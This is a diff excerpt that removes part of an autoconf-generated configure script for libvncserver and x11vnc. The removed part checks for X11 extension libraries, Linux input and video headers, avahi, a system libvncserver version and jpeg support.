- ac_cv_lib_Xext_XReadScreen=yes
-else
- ac_cv_lib_Xext_XReadScreen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XReadScreen" >&5
-$as_echo "$ac_cv_lib_Xext_XReadScreen" >&6; }
-if test "x$ac_cv_lib_Xext_XReadScreen" = xyes; then :
- $as_echo "@%:@define HAVE_SOLARIS_XREADSCREEN 1" >>confdefs.h
-
-fi
-
-
- ac_fn_c_check_header_compile "$LINENO" "X11/extensions/readdisplay.h" "ac_cv_header_X11_extensions_readdisplay_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_extensions_readdisplay_h" = xyes; then :
- $as_echo "@%:@define HAVE_IRIX_XREADDISPLAY 1" >>confdefs.h
-
-fi
-
-
-
- if test "x$with_fbpm" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for FBPMForceLevel in -lXext" >&5
-$as_echo_n "checking for FBPMForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_FBPMForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char FBPMForceLevel ();
-int
-main ()
-{
-return FBPMForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_FBPMForceLevel=yes
-else
- ac_cv_lib_Xext_FBPMForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_FBPMForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_FBPMForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_FBPMForceLevel" = xyes; then :
- $as_echo "@%:@define HAVE_FBPM 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_dpms" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for DPMSForceLevel in -lXext" >&5
-$as_echo_n "checking for DPMSForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_DPMSForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char DPMSForceLevel ();
-int
-main ()
-{
-return DPMSForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_DPMSForceLevel=yes
-else
- ac_cv_lib_Xext_DPMSForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_DPMSForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_DPMSForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_DPMSForceLevel" = xyes; then :
- $as_echo "@%:@define HAVE_DPMS 1" >>confdefs.h
-
-fi
-
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestGrabControl in -lXtst" >&5
-$as_echo_n "checking for XTestGrabControl in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestGrabControl+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestGrabControl ();
-int
-main ()
-{
-return XTestGrabControl ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestGrabControl=yes
-else
- ac_cv_lib_Xtst_XTestGrabControl=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestGrabControl" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestGrabControl" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestGrabControl" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_XTESTGRABCONTROL 1" >>confdefs.h
- HAVE_XTESTGRABCONTROL="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestFakeKeyEvent in -lXtst" >&5
-$as_echo_n "checking for XTestFakeKeyEvent in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestFakeKeyEvent+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestFakeKeyEvent ();
-int
-main ()
-{
-return XTestFakeKeyEvent ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestFakeKeyEvent=yes
-else
- ac_cv_lib_Xtst_XTestFakeKeyEvent=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestFakeKeyEvent" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestFakeKeyEvent" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestFakeKeyEvent" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_XTEST 1" >>confdefs.h
- HAVE_XTEST="true"
-fi
-
-
- if test "x$with_xrecord" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRecordEnableContextAsync in -lXtst" >&5
-$as_echo_n "checking for XRecordEnableContextAsync in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XRecordEnableContextAsync+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRecordEnableContextAsync ();
-int
-main ()
-{
-return XRecordEnableContextAsync ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XRecordEnableContextAsync=yes
-else
- ac_cv_lib_Xtst_XRecordEnableContextAsync=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XRecordEnableContextAsync" >&5
-$as_echo "$ac_cv_lib_Xtst_XRecordEnableContextAsync" >&6; }
-if test "x$ac_cv_lib_Xtst_XRecordEnableContextAsync" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_RECORD 1" >>confdefs.h
-
-fi
-
- fi
-
- # we use XTRAP on X11R5, or user can set X11VNC_USE_XTRAP
- if test "x$with_xtrap" != "xno"; then
- if test ! -z "$X11VNC_USE_XTRAP" -o -z "$HAVE_XTESTGRABCONTROL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXTrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXTrap... " >&6; }
-if ${ac_cv_lib_XTrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXTrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XTrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XTrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XTrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XTrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XTrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXTrap"
- $as_echo "@%:@define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- # tru64 uses libXETrap.so
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXETrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXETrap... " >&6; }
-if ${ac_cv_lib_XETrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXETrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XETrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XETrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XETrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XETrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XETrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXETrap"
- $as_echo "@%:@define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xkeyboard" != "xno"; then
- saved_CPPFLAGS="$CPPFLAGS"
- CPPFLAGS="$CPPFLAGS $X_CFLAGS"
- ac_fn_c_check_header_compile "$LINENO" "X11/XKBlib.h" "ac_cv_header_X11_XKBlib_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_XKBlib_h" = xyes; then :
- HAVE_XKBLIB_H="true"
-else
- HAVE_XKBLIB_H="false"
-fi
-
-
- CPPFLAGS="$saved_CPPFLAGS"
- if test $HAVE_XKBLIB_H = "true"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XkbSelectEvents in -lX11" >&5
-$as_echo_n "checking for XkbSelectEvents in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XkbSelectEvents+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XkbSelectEvents ();
-int
-main ()
-{
-return XkbSelectEvents ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XkbSelectEvents=yes
-else
- ac_cv_lib_X11_XkbSelectEvents=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XkbSelectEvents" >&5
-$as_echo "$ac_cv_lib_X11_XkbSelectEvents" >&6; }
-if test "x$ac_cv_lib_X11_XkbSelectEvents" = xyes; then :
- $as_echo "@%:@define HAVE_XKEYBOARD 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xinerama" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XineramaQueryScreens in -lXinerama" >&5
-$as_echo_n "checking for XineramaQueryScreens in -lXinerama... " >&6; }
-if ${ac_cv_lib_Xinerama_XineramaQueryScreens+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXinerama $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XineramaQueryScreens ();
-int
-main ()
-{
-return XineramaQueryScreens ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xinerama_XineramaQueryScreens=yes
-else
- ac_cv_lib_Xinerama_XineramaQueryScreens=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xinerama_XineramaQueryScreens" >&5
-$as_echo "$ac_cv_lib_Xinerama_XineramaQueryScreens" >&6; }
-if test "x$ac_cv_lib_Xinerama_XineramaQueryScreens" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXinerama"
- $as_echo "@%:@define HAVE_LIBXINERAMA 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_xrandr" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRRSelectInput in -lXrandr" >&5
-$as_echo_n "checking for XRRSelectInput in -lXrandr... " >&6; }
-if ${ac_cv_lib_Xrandr_XRRSelectInput+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXrandr $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRRSelectInput ();
-int
-main ()
-{
-return XRRSelectInput ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xrandr_XRRSelectInput=yes
-else
- ac_cv_lib_Xrandr_XRRSelectInput=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xrandr_XRRSelectInput" >&5
-$as_echo "$ac_cv_lib_Xrandr_XRRSelectInput" >&6; }
-if test "x$ac_cv_lib_Xrandr_XRRSelectInput" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXrandr"
- $as_echo "@%:@define HAVE_LIBXRANDR 1" >>confdefs.h
- HAVE_LIBXRANDR="true"
-fi
-
- fi
-
- if test "x$with_xfixes" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XFixesGetCursorImage in -lXfixes" >&5
-$as_echo_n "checking for XFixesGetCursorImage in -lXfixes... " >&6; }
-if ${ac_cv_lib_Xfixes_XFixesGetCursorImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXfixes $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XFixesGetCursorImage ();
-int
-main ()
-{
-return XFixesGetCursorImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xfixes_XFixesGetCursorImage=yes
-else
- ac_cv_lib_Xfixes_XFixesGetCursorImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xfixes_XFixesGetCursorImage" >&5
-$as_echo "$ac_cv_lib_Xfixes_XFixesGetCursorImage" >&6; }
-if test "x$ac_cv_lib_Xfixes_XFixesGetCursorImage" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXfixes"
- $as_echo "@%:@define HAVE_LIBXFIXES 1" >>confdefs.h
- HAVE_LIBXFIXES="true"
-fi
-
- fi
-
- if test "x$with_xdamage" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XDamageQueryExtension in -lXdamage" >&5
-$as_echo_n "checking for XDamageQueryExtension in -lXdamage... " >&6; }
-if ${ac_cv_lib_Xdamage_XDamageQueryExtension+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXdamage $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XDamageQueryExtension ();
-int
-main ()
-{
-return XDamageQueryExtension ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xdamage_XDamageQueryExtension=yes
-else
- ac_cv_lib_Xdamage_XDamageQueryExtension=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xdamage_XDamageQueryExtension" >&5
-$as_echo "$ac_cv_lib_Xdamage_XDamageQueryExtension" >&6; }
-if test "x$ac_cv_lib_Xdamage_XDamageQueryExtension" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXdamage"
- $as_echo "@%:@define HAVE_LIBXDAMAGE 1" >>confdefs.h
- HAVE_LIBXDAMAGE="true"
-fi
-
- fi
-
- if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
- # need /usr/sfw/lib in RPATH for Solaris 10 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
- esac
- fi
- if test ! -z "$HAVE_LIBXRANDR"; then
- # also need /usr/X11/include for Solaris 10 10/08 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) CPPFLAGS="$CPPFLAGS -I/usr/X11/include" ;;
- esac
- fi
-
- X_LIBS="$X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS"
- fi
- # end x11vnc only.
-fi
-
-
- if test $HAVE_X11 != "false"; then
- HAVE_X11_TRUE=
- HAVE_X11_FALSE='#'
-else
- HAVE_X11_TRUE='#'
- HAVE_X11_FALSE=
-fi
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-if test "x$HAVE_X11" = "xfalse" -a "x$with_x" != "xno"; then
- as_fn_error $? "
-==========================================================================
-*** A working X window system build environment is required to build ***
-x11vnc. Make sure any required X development packages are installed.
-If they are installed in non-standard locations, one can use the
---x-includes=DIR and --x-libraries=DIR configure options or set the
-CPPFLAGS and LDFLAGS environment variables to indicate where the X
-window system header files and libraries may be found. On 64+32 bit
-machines you may need to point to lib64 or lib32 directories to pick up
-the correct word size.
-
-If you want to build x11vnc without X support (e.g. for -rawfb use only
-or for native Mac OS X), specify the --without-x configure option.
-==========================================================================
-" "$LINENO" 5
-fi
-
-if test "x$HAVE_X11" = "xtrue" -a "x$HAVE_XTEST" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-if test "x$with_v4l" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/videodev.h" "ac_cv_header_linux_videodev_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_videodev_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_VIDEODEV_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_fbdev" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/fb.h" "ac_cv_header_linux_fb_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_fb_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_FB_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_uinput" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/input.h" "ac_cv_header_linux_input_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_input_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_INPUT_H 1" >>confdefs.h
- HAVE_LINUX_INPUT_H="true"
-fi
-
-
- if test "x$HAVE_LINUX_INPUT_H" = "xtrue"; then
- ac_fn_c_check_header_compile "$LINENO" "linux/uinput.h" "ac_cv_header_linux_uinput_h" "#include <linux/input.h>
-"
-if test "x$ac_cv_header_linux_uinput_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_UINPUT_H 1" >>confdefs.h
-
-fi
-
-
- fi
-fi
-
-if test "x$with_macosx_native" != "xno"; then
- $as_echo "@%:@define HAVE_MACOSX_NATIVE_DISPLAY 1" >>confdefs.h
-
-fi
-
-# Check for OS X opengl header
-ac_fn_c_check_header_mongrel "$LINENO" "OpenGL/OpenGL.h" "ac_cv_header_OpenGL_OpenGL_h" "$ac_includes_default"
-if test "x$ac_cv_header_OpenGL_OpenGL_h" = xyes; then :
- $as_echo "@%:@define HAVE_MACOSX_OPENGL_H 1" >>confdefs.h
- HAVE_MACOSX_OPENGL_H="true"
-fi
-
-
-
-
-
-@%:@ Check whether --with-avahi was given.
-if test "${with_avahi+set}" = set; then :
- withval=$with_avahi;
-fi
-
-if test "x$with_avahi" != "xno"; then
- printf "checking for avahi... "
- if test ! -z "$with_avahi" -a "x$with_avahi" != "xyes"; then
- AVAHI_CFLAGS="-I$with_avahi/include"
- AVAHI_LIBS="-L$with_avahi/lib -lavahi-common -lavahi-client"
- echo "using $with_avahi"
- with_avahi=yes
- elif pkg-config --atleast-version=0.6.4 avahi-client >/dev/null 2>&1; then
- AVAHI_CFLAGS=`pkg-config --cflags avahi-client`
- AVAHI_LIBS=`pkg-config --libs avahi-client`
- with_avahi=yes
- echo yes
- else
- with_avahi=no
- echo no
- fi
-fi
-if test "x$with_avahi" = "xyes"; then
- $as_echo "@%:@define HAVE_AVAHI 1" >>confdefs.h
-
-
-
-fi
-
-fi
-# end x11vnc only.
-
-# only used in x11vnc/Makefile.am but needs to always be defined:
- if test "$HAVE_MACOSX_OPENGL_H" = "true"; then
- OSX_OPENGL_TRUE=
- OSX_OPENGL_FALSE='#'
-else
- OSX_OPENGL_TRUE='#'
- OSX_OPENGL_FALSE=
-fi
-
-
-# Checks for libraries.
-
-if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- printf "checking for system libvncserver... "
- vneed="0.9.1"
- if test "X$VNEED" != "X"; then
- vneed=$VNEED
- fi
- if test "x$with_system_libvncserver" != "xyes"; then
- rflag=""
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag="-Xlinker -R$with_system_libvncserver/lib"
- else
- rflag="-R$with_system_libvncserver/lib"
- fi
- cmd="$with_system_libvncserver/bin/libvncserver-config"
- if $cmd --version 1>/dev/null 2>&1; then
- cvers=`$cmd --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- with_system_libvncserver=no
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS="-I$with_system_libvncserver/include"
- SYSTEM_LIBVNCSERVER_LIBS="-L$with_system_libvncserver/lib $rflag -lvncserver -lvncclient"
- echo "using $with_system_libvncserver"
- with_system_libvncserver=yes
- fi
- else
- echo " *** cannot run $cmd *** " 1>&2
- with_system_libvncserver=no
- echo no
- fi
- elif libvncserver-config --version 1>/dev/null 2>&1; then
- rflag=""
- rprefix=`libvncserver-config --prefix`
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag=" -Xlinker -R$rprefix/lib "
- else
- rflag=" -R$rprefix/lib "
- fi
- cvers=`libvncserver-config --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS=`libvncserver-config --cflags`
- SYSTEM_LIBVNCSERVER_LIBS="$rflag"`libvncserver-config --libs`
- with_system_libvncserver=yes
- echo yes
- fi
- else
- with_system_libvncserver=no
- echo no
- fi
-fi
-
-if test "x$with_system_libvncserver" = "xyes"; then
- $as_echo "@%:@define HAVE_SYSTEM_LIBVNCSERVER 1" >>confdefs.h
-
-
-
-fi
- if test "x$with_system_libvncserver" = "xyes"; then
- HAVE_SYSTEM_LIBVNCSERVER_TRUE=
- HAVE_SYSTEM_LIBVNCSERVER_FALSE='#'
-else
- HAVE_SYSTEM_LIBVNCSERVER_TRUE='#'
- HAVE_SYSTEM_LIBVNCSERVER_FALSE=
-fi
-
-
-
-
-@%:@ Check whether --with-jpeg was given.
-if test "${with_jpeg+set}" = set; then :
- withval=$with_jpeg;
-fi
-
-
-# At this point:
-# no jpeg on command line with_jpeg=""
-# -with-jpeg with_jpeg="yes"
-# -without-jpeg with_jpeg="no"
-# -with-jpeg=/foo/dir with_jpeg="/foo/dir"
-
-HAVE_LIBJPEG_TURBO="false"
-
-if test "x$with_jpeg" != "xno"; then
-
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- saved_LIBS="$LIBS"
